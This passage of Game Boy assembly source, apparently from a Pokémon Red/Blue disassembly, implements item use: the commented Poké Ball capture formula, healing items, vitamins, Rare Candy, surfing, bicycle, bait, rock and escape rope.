; can't be caught value jp z, .setAnimData ; Get the first random number. Let it be called Rand1. ; Rand1 must be within a certain range according the kind of ball being thrown. ; The ranges are as follows. ; Poké Ball: [0, 255] ; Great Ball: [0, 200] ; Ultra/Safari Ball: [0, 150] ; Loop until an acceptable number is found. .loop call Random ld b, a ; Get the item ID. ld hl, wcf91 ld a, [hl] ; The Master Ball always succeeds. cp MASTER_BALL jp z, .captured ; Anything will do for the basic Poké Ball. cp POKE_BALL jr z, .checkForAilments ; If it's a Great/Ultra/Safari Ball and Rand1 is greater than 200, try again. ld a, 200 cp b jr c, .loop ; Less than or equal to 200 is good enough for a Great Ball. ld a, [hl] cp GREAT_BALL jr z, .checkForAilments ; If it's an Ultra/Safari Ball and Rand1 is greater than 150, try again. ld a, 150 cp b jr c, .loop .checkForAilments ; Pokémon can be caught more easily with a status ailment. ; Depending on the status ailment, a certain value will be subtracted from ; Rand1. Let this value be called Status. ; The larger Status is, the more easily the Pokémon can be caught. ; no status ailment: Status = 0 ; Burn/Paralysis/Poison: Status = 12 ; Freeze/Sleep: Status = 25 ; If Status is greater than Rand1, the Pokémon will be caught for sure. ld a, [wEnemyMonStatus] and a jr z, .skipAilmentValueSubtraction ; no ailments and 1 << FRZ | SLP ld c, 12 jr z, .notFrozenOrAsleep ld c, 25 .notFrozenOrAsleep ld a, b sub c jp c, .captured ld b, a .skipAilmentValueSubtraction push bc ; save (Rand1 - Status) ; Calculate MaxHP * 255. xor a ld [H_MULTIPLICAND], a ld hl, wEnemyMonMaxHP ld a, [hli] ld [H_MULTIPLICAND + 1], a ld a, [hl] ld [H_MULTIPLICAND + 2], a ld a, 255 ld [H_MULTIPLIER], a call Multiply ; Determine BallFactor. It's 8 for Great Balls and 12 for the others. ld a, [wcf91] cp GREAT_BALL ld a, 12 jr nz, .skip1 ld a, 8 .skip1 ; Note that the results of all division operations are floored. ; Calculate (MaxHP * 255) / BallFactor. ld [H_DIVISOR], a ld b, 4 ; number of bytes in dividend call Divide ; Divide the enemy's current HP by 4. HP is not supposed to exceed 999 so ; the result should fit in a. If the division results in a quotient of 0, ; change it to 1. ld hl, wEnemyMonHP ld a, [hli] ld b, a ld a, [hl] srl b rr a srl b rr a and a jr nz, .skip2 inc a .skip2 ; Let W = ((MaxHP * 255) / BallFactor) / max(HP / 4, 1). Calculate W. ld [H_DIVISOR], a ld b, 4 call Divide ; If W > 255, store 255 in [H_QUOTIENT + 3]. ; Let X = min(W, 255) = [H_QUOTIENT + 3]. ld a, [H_QUOTIENT + 2] and a jr z, .skip3 ld a, 255 ld [H_QUOTIENT + 3], a .skip3 pop bc ; b = Rand1 - Status ; If Rand1 - Status > CatchRate, the ball fails to capture the Pokémon. ld a, [wEnemyMonActualCatchRate] cp b jr c, .failedToCapture ; If W > 255, the ball captures the Pokémon. ld a, [H_QUOTIENT + 2] and a jr nz, .captured call Random ; Let this random number be called Rand2. ; If Rand2 > X, the ball fails to capture the Pokémon. ld b, a ld a, [H_QUOTIENT + 3] cp b jr c, .failedToCapture .captured jr .skipShakeCalculations .failedToCapture ld a, [H_QUOTIENT + 3] ld [wPokeBallCaptureCalcTemp], a ; Save X. ; Calculate CatchRate * 100. xor a ld [H_MULTIPLICAND], a ld [H_MULTIPLICAND + 1], a ld a, [wEnemyMonActualCatchRate] ld [H_MULTIPLICAND + 2], a ld a, 100 ld [H_MULTIPLIER], a call Multiply ; Determine BallFactor2. ; Poké Ball: BallFactor2 = 255 ; Great Ball: BallFactor2 = 200 ; Ultra/Safari Ball: BallFactor2 = 150 ld a, [wcf91] ld b, 255 cp POKE_BALL jr z, .skip4 ld b, 200 cp GREAT_BALL jr z, .skip4 ld b, 150 cp ULTRA_BALL jr z, .skip4 .skip4 ; Let Y = (CatchRate * 100) / BallFactor2. Calculate Y. ld a, b ld [H_DIVISOR], a ld b, 4 call Divide ; If Y > 255, there are 3 shakes. ; Note that this shouldn't be possible. ; The maximum value of Y is (255 * 100) / 150 = 170. ld a, [H_QUOTIENT + 2] and a ld b, $63 ; 3 shakes jr nz, .setAnimData ; Calculate X * Y. ld a, [wPokeBallCaptureCalcTemp] ld [H_MULTIPLIER], a call Multiply ; Calculate (X * Y) / 255. ld a, 255 ld [H_DIVISOR], a ld b, 4 call Divide ; Determine Status2. ; no status ailment: Status2 = 0 ; Burn/Paralysis/Poison: Status2 = 5 ; Freeze/Sleep: Status2 = 10 ld a, [wEnemyMonStatus] and a jr z, .skip5 and 1 << FRZ | SLP ld b, 5 jr z, .addAilmentValue ld b, 10 .addAilmentValue ; If the Pokémon has a status ailment, add Status2. ld a, [H_QUOTIENT + 3] add b ld [H_QUOTIENT + 3], a .skip5 ; Finally determine the number of shakes. ; Let Z = ((X * Y) / 255) + Status2 = [H_QUOTIENT + 3]. ; The number of shakes depend on the range Z is in. ; 0 ≤ Z < 10: 0 shakes (the ball misses) ; 10 ≤ Z < 30: 1 shake ; 30 ≤ Z < 70: 2 shakes ; 70 ≤ Z: 3 shakes ld a, [H_QUOTIENT + 3] cp 10 ld b, $20 jr c, .setAnimData cp 30 ld b, $61 jr c, .setAnimData cp 70 ld b, $62 jr c, .setAnimData ld b, $63 .setAnimData ld a, b ld [wPokeBallAnimData], a .skipShakeCalculations ld c, 20 call DelayFrames ; Do the animation. ld a, TOSS_ANIM ld [wAnimationID], a xor a ld [H_WHOSETURN], a ld [wAnimationType], a ld [wDamageMultipliers], a ld a, [wWhichPokemon] push af ld a, [wcf91] push af predef MoveAnimation pop af ld [wcf91], a pop af ld [wWhichPokemon], a ; Determine the message to display from the animation. ld a, [wPokeBallAnimData] cp $10 ld hl, ItemUseBallText00 jp z, .printMessage cp $20 ld hl, ItemUseBallText01 jp z, .printMessage cp $61 ld hl, ItemUseBallText02 jp z, .printMessage cp $62 ld hl, ItemUseBallText03 jp z, .printMessage cp $63 ld hl, ItemUseBallText04 jp z, .printMessage ; Save current HP. ld hl, wEnemyMonHP ld a, [hli] push af ld a, [hli] push af ; Save status ailment. inc hl ld a, [hl] push af push hl ; If the Pokémon is transformed, the Pokémon is assumed to be a Ditto. ; This is a bug because a wild Pokémon could have used Transform via ; Mirror Move even though the only wild Pokémon that knows Transform is Ditto. ld hl, wEnemyBattleStatus3 bit TRANSFORMED, [hl] jr z, .notTransformed ld a, DITTO ld [wEnemyMonSpecies2], a jr .skip6 .notTransformed ; If the Pokémon is not transformed, set the transformed bit and copy the ; DVs to wTransformedEnemyMonOriginalDVs so that LoadEnemyMonData won't generate ; new DVs. set TRANSFORMED, [hl] ld hl, wTransformedEnemyMonOriginalDVs ld a, [wEnemyMonDVs] ld [hli], a ld a, [wEnemyMonDVs + 1] ld [hl], a .skip6 ld a, [wcf91] push af ld a, [wEnemyMonSpecies2] ld [wcf91], a ld a, [wEnemyMonLevel] ld [wCurEnemyLVL], a callab LoadEnemyMonData pop af ld [wcf91], a pop hl pop af ld [hld], a dec hl pop af ld [hld], a pop af ld [hl], a ld a, [wEnemyMonSpecies] ld [wCapturedMonSpecies], a ld [wcf91], a ld [wd11e], a ld a, [wBattleType] dec a ; is this the old man battle? jr z, .oldManCaughtMon ; if so, don't give the player the caught Pokémon ld hl, ItemUseBallText05 call PrintText ; Add the caught Pokémon to the Pokédex. predef IndexToPokedex ld a, [wd11e] dec a ld c, a ld b, FLAG_TEST ld hl, wPokedexOwned predef FlagActionPredef ld a, c push af ld a, [wd11e] dec a ld c, a ld b, FLAG_SET predef FlagActionPredef pop af and a ; was the Pokémon already in the Pokédex? jr nz, .skipShowingPokedexData ; if so, don't show the Pokédex data ld hl, ItemUseBallText06 call PrintText call ClearSprites ld a, [wEnemyMonSpecies] ld [wd11e], a predef ShowPokedexData .skipShowingPokedexData ld a, [wPartyCount] cp PARTY_LENGTH ; is party full? jr z, .sendToBox xor a ; PLAYER_PARTY_DATA ld [wMonDataLocation], a call ClearSprites call AddPartyMon jr .done .sendToBox call ClearSprites call SendNewMonToBox ld hl, ItemUseBallText07 CheckEvent EVENT_MET_BILL jr nz, .printTransferredToPCText ld hl, ItemUseBallText08 .printTransferredToPCText call PrintText jr .done .oldManCaughtMon ld hl, ItemUseBallText05 .printMessage call PrintText call ClearSprites .done ld a, [wBattleType] and a ; is this the old man battle? ret nz ; if so, don't remove a ball from the bag ; Remove a ball from the bag. ld hl, wNumBagItems inc a ld [wItemQuantity], a jp RemoveItemFromInventory ItemUseBallText00: ;"It dodged the thrown ball!" ;"This pokemon can't be caught" TX_FAR _ItemUseBallText00 db "@" ItemUseBallText01: ;"You missed the pokemon!" TX_FAR _ItemUseBallText01 db "@" ItemUseBallText02: ;"Darn! The pokemon broke free!" TX_FAR _ItemUseBallText02 db "@" ItemUseBallText03: ;"Aww! It appeared to be caught!" TX_FAR _ItemUseBallText03 db "@" ItemUseBallText04: ;"Shoot! It was so close too!" TX_FAR _ItemUseBallText04 db "@" ItemUseBallText05: ;"All right! {MonName} was caught!" ;play sound TX_FAR _ItemUseBallText05 TX_SFX_CAUGHT_MON TX_BLINK db "@" ItemUseBallText07: ;"X was transferred to Bill's PC" TX_FAR _ItemUseBallText07 db "@" ItemUseBallText08: ;"X was transferred to someone's PC" TX_FAR _ItemUseBallText08 db "@" ItemUseBallText06: ;"New DEX data will be added..." ;play sound TX_FAR _ItemUseBallText06 TX_SFX_DEX_PAGE_ADDED TX_BLINK db "@" ItemUseTownMap: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime jpba DisplayTownMap ItemUseBicycle: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime ld a, [wWalkBikeSurfState] ld [wWalkBikeSurfStateCopy], a cp 2 ; is the player surfing? jp z, ItemUseNotTime dec a ; is player already bicycling? jr nz, .tryToGetOnBike .getOffBike call ItemUseReloadOverworldData xor a ld [wWalkBikeSurfState], a ; change player state to walking call PlayDefaultMusic ; play walking music ld hl, GotOffBicycleText jr .printText .tryToGetOnBike call IsBikeRidingAllowed jp nc, NoCyclingAllowedHere call ItemUseReloadOverworldData xor a ; no keys pressed ld [hJoyHeld], a ; current joypad state inc a ld [wWalkBikeSurfState], a ; change player state to bicycling ld hl, GotOnBicycleText call PlayDefaultMusic ; play bike riding music .printText jp PrintText ; used for Surf out-of-battle effect ItemUseSurfboard: ld a, [wWalkBikeSurfState] ld [wWalkBikeSurfStateCopy], a cp 2 ; is the player already surfing? jr z, .tryToStopSurfing .tryToSurf call IsNextTileShoreOrWater jp c, SurfingAttemptFailed ld hl, TilePairCollisionsWater call CheckForTilePairCollisions jp c, SurfingAttemptFailed .surf call .makePlayerMoveForward ld hl, wd730 set 7, [hl] ld a, 2 ld [wWalkBikeSurfState], a ; change player state to surfing call PlayDefaultMusic ; play surfing music ld hl, SurfingGotOnText jp PrintText .tryToStopSurfing xor a ld [hSpriteIndexOrTextID], a ld d, 16 ; talking range in pixels (normal range) call IsSpriteInFrontOfPlayer2 res 7, [hl] ld a, [hSpriteIndexOrTextID] and a ; is there a sprite in the way? jr nz, .cannotStopSurfing ld hl, TilePairCollisionsWater call CheckForTilePairCollisions jr c, .cannotStopSurfing ld hl, wTilesetCollisionPtr ; pointer to list of passable tiles ld a, [hli] ld h, [hl] ld l, a ; hl now points to passable tiles ld a, [wTileInFrontOfPlayer] ; tile in front of the player ld b, a .passableTileLoop ld a, [hli] cp b jr z, .stopSurfing cp $ff jr nz, .passableTileLoop .cannotStopSurfing ld hl, SurfingNoPlaceToGetOffText jp PrintText .stopSurfing call .makePlayerMoveForward ld hl, wd730 set 7, [hl] xor a ld [wWalkBikeSurfState], a ; change player state to walking dec a ld [wJoyIgnore], a call PlayDefaultMusic ; play walking music jp LoadWalkingPlayerSpriteGraphics ; uses a simulated button press to make the player move forward .makePlayerMoveForward ld a, [wPlayerDirection] ; direction the player is going bit PLAYER_DIR_BIT_UP, a ld b, D_UP jr nz, .storeSimulatedButtonPress bit PLAYER_DIR_BIT_DOWN, a ld b, D_DOWN jr nz, .storeSimulatedButtonPress bit PLAYER_DIR_BIT_LEFT, a ld b, D_LEFT jr nz, .storeSimulatedButtonPress ld b, D_RIGHT .storeSimulatedButtonPress ld a, b ld [wSimulatedJoypadStatesEnd], a xor a ld [wWastedByteCD39], a inc a ld [wSimulatedJoypadStatesIndex], a ret SurfingGotOnText: TX_FAR _SurfingGotOnText db "@" SurfingNoPlaceToGetOffText: TX_FAR _SurfingNoPlaceToGetOffText db "@" ItemUsePokedex: predef_jump ShowPokedexMenu ItemUseEvoStone: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime ld a, [wWhichPokemon] push af ld a, [wcf91] ld [wEvoStoneItemID], a push af ld a, EVO_STONE_PARTY_MENU ld [wPartyMenuTypeOrMessageID], a ld a, $ff ld [wUpdateSpritesEnabled], a call DisplayPartyMenu pop bc jr c, .canceledItemUse ld a, b ld [wcf91], a ld a, $01 ld [wForceEvolution], a ld a, SFX_HEAL_AILMENT call PlaySoundWaitForCurrent call WaitForSoundToFinish callab TryEvolvingMon ; try to evolve pokemon ld a, [wEvolutionOccurred] and a jr z, .noEffect pop af ld [wWhichPokemon], a ld hl, wNumBagItems ld a, 1 ; remove 1 stone ld [wItemQuantity], a jp RemoveItemFromInventory .noEffect call ItemUseNoEffect .canceledItemUse xor a ld [wActionResultOrTookBattleTurn], a ; item not used pop af ret ItemUseVitamin: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime ItemUseMedicine: ld a, [wPartyCount] and a jp z, .emptyParty ld a, [wWhichPokemon] push af ld a, [wcf91] push af ld a, USE_ITEM_PARTY_MENU ld [wPartyMenuTypeOrMessageID], a ld a, $ff ld [wUpdateSpritesEnabled], a ld a, [wPseudoItemID] and a ; using Softboiled? jr z, .notUsingSoftboiled ; if using softboiled call GoBackToPartyMenu jr .getPartyMonDataAddress .emptyParty ld hl, .emptyPartyText xor a ld [wActionResultOrTookBattleTurn], a ; item use failed jp PrintText .emptyPartyText text "You don't have" line "any #MON!" prompt .notUsingSoftboiled call DisplayPartyMenu .getPartyMonDataAddress jp c, .canceledItemUse ld hl, wPartyMons ld bc, wPartyMon2 - wPartyMon1 ld a, [wWhichPokemon] call AddNTimes ld a, [wWhichPokemon] ld [wUsedItemOnWhichPokemon], a ld d, a ld a, [wcf91] ld e, a ld [wd0b5], a pop af ld [wcf91], a pop af ld [wWhichPokemon], a ld a, [wPseudoItemID] and a ; using Softboiled? jr z, .checkItemType ; if using softboiled ld a, [wWhichPokemon] cp d ; is the pokemon trying to use softboiled on itself? jr z, ItemUseMedicine ; if so, force another choice .checkItemType ld a, [wcf91] cp REVIVE jr nc, .healHP ; if it's a Revive or Max Revive cp FULL_HEAL jr z, .cureStatusAilment ; if it's a Full Heal cp HP_UP jp nc, .useVitamin ; if it's a vitamin or Rare Candy cp FULL_RESTORE jr nc, .healHP ; if it's a Full Restore or one of the potions ; fall through if it's one of the status-specific healing items .cureStatusAilment ld bc, wPartyMon1Status - wPartyMon1 add hl, bc ; hl now points to status ld a, [wcf91] lb bc, ANTIDOTE_MSG, 1 << PSN cp ANTIDOTE jr z, .checkMonStatus lb bc, BURN_HEAL_MSG, 1 << BRN cp BURN_HEAL jr z, .checkMonStatus lb bc, ICE_HEAL_MSG, 1 << FRZ cp ICE_HEAL jr z, .checkMonStatus lb bc, AWAKENING_MSG, SLP cp AWAKENING jr z, .checkMonStatus lb bc, PARALYZ_HEAL_MSG, 1 << PAR cp PARLYZ_HEAL jr z, .checkMonStatus lb bc, FULL_HEAL_MSG, $ff ; Full Heal .checkMonStatus ld a, [hl] ; pokemon's status and c ; does the pokemon have a status ailment the item can cure? jp z, .healingItemNoEffect ; if the pokemon has a status the item can heal xor a ld [hl], a ; remove the status ailment in the party data ld a, b ld [wPartyMenuTypeOrMessageID], a ; the message to display for the item used ld a, [wPlayerMonNumber] cp d ; is pokemon the item was used on active in battle? jp nz, .doneHealing ; if it is active in battle xor a ld [wBattleMonStatus], a ; remove the status ailment in the in-battle pokemon data push hl ld hl, wPlayerBattleStatus3 res BADLY_POISONED, [hl] ; heal Toxic status pop hl ld bc, wPartyMon1Stats - wPartyMon1Status add hl, bc ; hl now points to party stats ld de, wBattleMonStats ld bc, NUM_STATS * 2 call CopyData ; copy party stats to in-battle stat data predef DoubleOrHalveSelectedStats jp .doneHealing .healHP inc hl ; hl = address of current HP ld a, [hli] ld b, a ld [wHPBarOldHP+1], a ld a, [hl] ld c, a ld [wHPBarOldHP], a ; current HP stored at wHPBarOldHP (2 bytes, big-endian) or b jr nz, .notFainted .fainted ld a, [wcf91] cp REVIVE jr z, .updateInBattleFaintedData cp MAX_REVIVE jr z, .updateInBattleFaintedData jp .healingItemNoEffect .updateInBattleFaintedData ld a, [wIsInBattle] and a jr z, .compareCurrentHPToMaxHP push hl push de push bc ld a, [wUsedItemOnWhichPokemon] ld c, a ld hl, wPartyFoughtCurrentEnemyFlags ld b, FLAG_TEST predef FlagActionPredef ld a, c and a jr z, .next ld a, [wUsedItemOnWhichPokemon] ld c, a ld hl, wPartyGainExpFlags ld b, FLAG_SET predef FlagActionPredef .next pop bc pop de pop hl jr .compareCurrentHPToMaxHP .notFainted ld a, [wcf91] cp REVIVE jp z, .healingItemNoEffect cp MAX_REVIVE jp z, .healingItemNoEffect .compareCurrentHPToMaxHP push hl push bc ld bc, wPartyMon1MaxHP - (wPartyMon1HP + 1) add hl, bc ; hl now points to max HP pop bc ld a, [hli] cp b jr nz, .skipComparingLSB ; no need to compare the LSB's if the MSB's don't match ld a, [hl] cp c .skipComparingLSB pop hl jr nz, .notFullHP .fullHP ; if the pokemon's current HP equals its max HP ld a, [wcf91] cp FULL_RESTORE jp nz, .healingItemNoEffect inc hl inc hl ld a, [hld] ; status ailment and a ; does the pokemon have a status ailment? jp z, .healingItemNoEffect ld a, FULL_HEAL ld [wcf91], a dec hl dec hl dec hl jp .cureStatusAilment .notFullHP ; if the pokemon's current HP doesn't equal its max HP xor a ld [wLowHealthAlarm], a ;disable low health alarm ld [wChannelSoundIDs + Ch4], a push hl push de ld bc, wPartyMon1MaxHP - (wPartyMon1HP + 1) add hl, bc ; hl now points to max HP ld a, [hli] ld [wHPBarMaxHP+1], a ld a, [hl] ld [wHPBarMaxHP], a ; max HP stored at wHPBarMaxHP (2 bytes, big-endian) ld a, [wPseudoItemID] and a ; using Softboiled? jp z, .notUsingSoftboiled2 ; if using softboiled ld hl, wHPBarMaxHP ld a, [hli] push af ld a, [hli] push af ld a, [hli] push af ld a, [hl] push af ld hl, wPartyMon1MaxHP ld a, [wWhichPokemon] ld bc, wPartyMon2 - wPartyMon1 call AddNTimes ld a, [hli] ld [wHPBarMaxHP + 1], a ld [H_DIVIDEND], a ld a, [hl] ld [wHPBarMaxHP], a ld [H_DIVIDEND + 1], a ld a, 5 ld [H_DIVISOR], a ld b, 2 ; number of bytes call Divide ; get 1/5 of max HP of pokemon that used Softboiled ld bc, (wPartyMon1HP + 1) - (wPartyMon1MaxHP + 1) add hl, bc ; hl now points to LSB of current HP of pokemon that used Softboiled ; subtract 1/5 of max HP from current HP of pokemon that used Softboiled ld a, [H_QUOTIENT + 3] push af ld b, a ld a, [hl] ld [wHPBarOldHP], a sub b ld [hld], a ld [wHPBarNewHP], a ld a, [H_QUOTIENT + 2] ld b, a ld a, [hl] ld [wHPBarOldHP+1], a sbc b ld [hl], a ld [wHPBarNewHP+1], a coord hl, 4, 1 ld a, [wWhichPokemon] ld bc, 2 * SCREEN_WIDTH call AddNTimes ; calculate coordinates of HP bar of pokemon that used Softboiled ld a, SFX_HEAL_HP call PlaySoundWaitForCurrent ld a, [hFlags_0xFFF6] set 0, a ld [hFlags_0xFFF6], a ld a, $02 ld [wHPBarType], a predef UpdateHPBar2 ; animate HP bar decrease of pokemon that used Softboiled ld a, [hFlags_0xFFF6] res 0, a ld [hFlags_0xFFF6], a pop af ld b, a ; store heal amount (1/5 of max HP) ld hl, wHPBarOldHP + 1 pop af ld [hld], a pop af ld [hld], a pop af ld [hld], a pop af ld [hl], a jr .addHealAmount .notUsingSoftboiled2 ld a, [wcf91] cp SODA_POP ld b, 60 ; Soda Pop heal amount jr z, .addHealAmount ld b, 80 ; Lemonade heal amount jr nc, .addHealAmount cp FRESH_WATER ld b, 50 ; Fresh Water heal amount jr z, .addHealAmount cp SUPER_POTION ld b, 200 ; Hyper Potion heal amount jr c, .addHealAmount ld b, 50 ; Super Potion heal amount jr z, .addHealAmount ld b, 20 ; Potion heal amount .addHealAmount pop de pop hl ld a, [hl] add b ld [hld], a ld [wHPBarNewHP], a ld a, [hl] ld [wHPBarNewHP+1], a jr nc, .noCarry inc [hl] ld a, [hl] ld [wHPBarNewHP + 1], a .noCarry push de inc hl ld d, h ld e, l ; de now points to current HP ld hl, (wPartyMon1MaxHP + 1) - (wPartyMon1HP + 1) add hl, de ; hl now points to max HP ld a, [wcf91] cp REVIVE jr z, .setCurrentHPToHalfMaxHP ld a, [hld] ld b, a ld a, [de] sub b dec de ld b, [hl] ld a, [de] sbc b jr nc, .setCurrentHPToMaxHp ; if current HP exceeds max HP after healing ld a, [wcf91] cp HYPER_POTION jr c, .setCurrentHPToMaxHp ; if using a Full Restore or Max Potion cp MAX_REVIVE jr z, .setCurrentHPToMaxHp ; if using a Max Revive jr .updateInBattleData .setCurrentHPToHalfMaxHP dec hl dec de ld a, [hli] srl a ld [de], a ld [wHPBarNewHP+1], a ld a, [hl] rr a inc de ld [de], a ld [wHPBarNewHP], a dec de jr .doneHealingPartyHP .setCurrentHPToMaxHp ld a, [hli] ld [de], a ld [wHPBarNewHP+1], a inc de ld a, [hl] ld [de], a ld [wHPBarNewHP], a dec de .doneHealingPartyHP ; done updating the pokemon's current HP in the party data structure ld a, [wcf91] cp FULL_RESTORE jr nz, .updateInBattleData ld bc, wPartyMon1Status - (wPartyMon1MaxHP + 1) add hl, bc xor a ld [hl], a ; remove the status ailment in the party data .updateInBattleData ld h, d ld l, e pop de ld a, [wPlayerMonNumber] cp d ; is pokemon the item was used on active in battle? jr nz, .calculateHPBarCoords ; copy party HP to in-battle HP ld a, [hli] ld [wBattleMonHP], a ld a, [hld] ld [wBattleMonHP + 1], a ld a, [wcf91] cp FULL_RESTORE jr nz, .calculateHPBarCoords xor a ld [wBattleMonStatus], a ; remove the status ailment in the in-battle pokemon data .calculateHPBarCoords ld hl, wOAMBuffer + $90 ld bc, 2 * SCREEN_WIDTH inc d .calculateHPBarCoordsLoop add hl, bc dec d jr nz, .calculateHPBarCoordsLoop jr .doneHealing .healingItemNoEffect call ItemUseNoEffect jp .done .doneHealing ld a, [wPseudoItemID] and a ; using Softboiled? jr nz, .skipRemovingItem ; no item to remove if using Softboiled push hl call RemoveUsedItem pop hl .skipRemovingItem ld a, [wcf91] cp FULL_RESTORE jr c, .playStatusAilmentCuringSound cp FULL_HEAL jr z, .playStatusAilmentCuringSound ld a, SFX_HEAL_HP call PlaySoundWaitForCurrent ld a, [hFlags_0xFFF6] set 0, a ld [hFlags_0xFFF6], a ld a, $02 ld [wHPBarType], a predef UpdateHPBar2 ; animate the HP bar lengthening ld a, [hFlags_0xFFF6] res 0, a ld [hFlags_0xFFF6], a ld a, REVIVE_MSG ld [wPartyMenuTypeOrMessageID], a ld a, [wcf91] cp REVIVE jr z, .showHealingItemMessage cp MAX_REVIVE jr z, .showHealingItemMessage ld a, POTION_MSG ld [wPartyMenuTypeOrMessageID], a jr .showHealingItemMessage .playStatusAilmentCuringSound ld a, SFX_HEAL_AILMENT call PlaySoundWaitForCurrent .showHealingItemMessage xor a ld [H_AUTOBGTRANSFERENABLED], a call ClearScreen dec a ld [wUpdateSpritesEnabled], a call RedrawPartyMenu ; redraws the party menu and displays the message ld a, 1 ld [H_AUTOBGTRANSFERENABLED], a ld c, 50 call DelayFrames call WaitForTextScrollButtonPress jr .done .canceledItemUse xor a ld [wActionResultOrTookBattleTurn], a ; item use failed pop af pop af .done ld a, [wPseudoItemID] and a ; using Softboiled? ret nz ; if so, return call GBPalWhiteOut call z, RunDefaultPaletteCommand ld a, [wIsInBattle] and a ret nz jp ReloadMapData .useVitamin push hl ld a, [hl] ld [wd0b5], a ld [wd11e], a ld bc, wPartyMon1Level - wPartyMon1 add hl, bc ; hl now points to level ld a, [hl] ; a = level ld [wCurEnemyLVL], a ; store level call GetMonHeader push de ld a, d ld hl, wPartyMonNicks call GetPartyMonName pop de pop hl ld a, [wcf91] cp RARE_CANDY jp z, .useRareCandy push hl sub HP_UP add a ld bc, wPartyMon1HPExp - wPartyMon1 add hl, bc add l ld l, a jr nc, .noCarry2 inc h .noCarry2 ld a, 10 ld b, a ld a, [hl] ; a = MSB of stat experience of the appropriate stat cp 100 ; is there already at least 25600 (256 * 100) stat experience? jr nc, .vitaminNoEffect ; if so, vitamins can't add any more add b ; add 2560 (256 * 10) stat experience jr nc, .noCarry3 ; a carry should be impossible here, so this will always jump ld a, 255 .noCarry3 ld [hl], a pop hl call .recalculateStats ld hl, VitaminText ld a, [wcf91] sub HP_UP - 1 ld c, a .statNameLoop ; loop to get the address of the name of the stat the vitamin increases dec c jr z, .gotStatName .statNameInnerLoop ld a, [hli] ld b, a ld a, $50 cp b jr nz, .statNameInnerLoop jr .statNameLoop .gotStatName ld de, wcf4b ld bc, 10 call CopyData ; copy the stat's name to wcf4b ld a, SFX_HEAL_AILMENT call PlaySound ld hl, VitaminStatRoseText call PrintText jp RemoveUsedItem .vitaminNoEffect pop hl ld hl, VitaminNoEffectText call PrintText jp GBPalWhiteOut .recalculateStats ld bc, wPartyMon1Stats - wPartyMon1 add hl, bc ld d, h ld e, l ; de now points to stats ld bc, (wPartyMon1Exp + 2) - wPartyMon1Stats add hl, bc ; hl now points to LSB of experience ld b, 1 jp CalcStats ; recalculate stats .useRareCandy push hl ld bc, wPartyMon1Level - wPartyMon1 add hl, bc ; hl now points to level ld a, [hl] ; a = level cp MAX_LEVEL jr z, .vitaminNoEffect ; can't raise level above 100 inc a ld [hl], a ; store incremented level ld [wCurEnemyLVL], a push hl push de ld d, a callab CalcExperience ; calculate experience for next level and store it at $ff96 pop de pop hl ld bc, wPartyMon1Exp - wPartyMon1Level add hl, bc ; hl now points to MSB of experience ; update experience to minimum for new level ld a, [hExperience] ld [hli], a ld a, [hExperience + 1] ld [hli], a ld a, [hExperience + 2] ld [hl], a pop hl ld a, [wWhichPokemon] push af ld a, [wcf91] push af push de push hl ld bc, wPartyMon1MaxHP - wPartyMon1 add hl, bc ; hl now points to MSB of max HP ld a, [hli] ld b, a ld c, [hl] pop hl push bc push hl call .recalculateStats pop hl ld bc, (wPartyMon1MaxHP + 1) - wPartyMon1 add hl, bc ; hl now points to LSB of max HP pop bc ld a, [hld] sub c ld c, a ld a, [hl] sbc b ld b, a ; bc = the amount of max HP gained from leveling up ; add the amount gained to the current HP ld de, (wPartyMon1HP + 1) - wPartyMon1MaxHP add hl, de ; hl now points to LSB of current HP ld a, [hl] add c ld [hld], a ld a, [hl] adc b ld [hl], a ld a, RARE_CANDY_MSG ld [wPartyMenuTypeOrMessageID], a call RedrawPartyMenu pop de ld a, d ld [wWhichPokemon], a ld a, e ld [wd11e], a xor a ; PLAYER_PARTY_DATA ld [wMonDataLocation], a call LoadMonData ld d, $01 callab PrintStatsBox ; display new stats text box call WaitForTextScrollButtonPress ; wait for button press xor a ; PLAYER_PARTY_DATA ld [wMonDataLocation], a predef LearnMoveFromLevelUp ; learn level up move, if any xor a ld [wForceEvolution], a callab TryEvolvingMon ; evolve pokemon, if appropriate ld a, $01 ld [wUpdateSpritesEnabled], a pop af ld [wcf91], a pop af ld [wWhichPokemon], a jp RemoveUsedItem VitaminStatRoseText: TX_FAR _VitaminStatRoseText db "@" VitaminNoEffectText: TX_FAR _VitaminNoEffectText db "@" VitaminText: db "HEALTH@" db "ATTACK@" db "DEFENSE@" db "SPEED@" db "SPECIAL@" ItemUseBait: ld hl, ThrewBaitText call PrintText ld hl, wEnemyMonActualCatchRate ; catch rate srl [hl] ; halve catch rate ld a, BAIT_ANIM ld hl, wSafariBaitFactor ; bait factor ld de, wSafariEscapeFactor ; escape factor jr BaitRockCommon ItemUseRock: ld hl, ThrewRockText call PrintText ld hl, wEnemyMonActualCatchRate ; catch rate ld a, [hl] add a ; double catch rate jr nc, .noCarry ld a, $ff .noCarry ld [hl], a ld a, ROCK_ANIM ld hl, wSafariEscapeFactor ; escape factor ld de, wSafariBaitFactor ; bait factor BaitRockCommon: ld [wAnimationID], a xor a ld [wAnimationType], a ld [H_WHOSETURN], a ld [de], a ; zero escape factor (for bait), zero bait factor (for rock) .randomLoop ; loop until a random number less than 5 is generated call Random and 7 cp 5 jr nc, .randomLoop inc a ; increment the random number, giving a range from 1 to 5 inclusive ld b, a ld a, [hl] add b ; increase bait factor (for bait), increase escape factor (for rock) jr nc, .noCarry ld a, $ff .noCarry ld [hl], a predef MoveAnimation ; do animation ld c, 70 jp DelayFrames ThrewBaitText: TX_FAR _ThrewBaitText db "@" ThrewRockText: TX_FAR _ThrewRockText db "@" ; also used for Dig out-of-battle effect ItemUseEscapeRope: ld a, [wIsInBattle] and a jr nz, .notUsable ld a, [wCurMap] cp AGATHAS_ROOM jr z, .notUsable ld a, [wCurMapTileset] ld b, a ld hl, EscapeRopeTilesets .loop ld a, [hli] cp $ff jr z, .notUsable cp b jr nz, .loop ld hl, wd732 set 3, [hl] set 6, [hl] ld hl, wd72e res 4, [hl] ResetEvent EVENT_IN_SAFARI_ZONE xor a ld [wNumSafariBalls], a ld [wSafariZoneGateCurScript], a inc a ld [wEscapedFromBattle], a ld [wActionResultOrTookBattleTurn], a ; item used ld a, [wPseudoItemID] and a ; using Dig? ret nz ; if so, return call ItemUseReloadOverworldData ld c, 30 call DelayFrames jp RemoveUsedItem .notUsable jp ItemUseNotTime EscapeRopeTilesets: db FOREST, 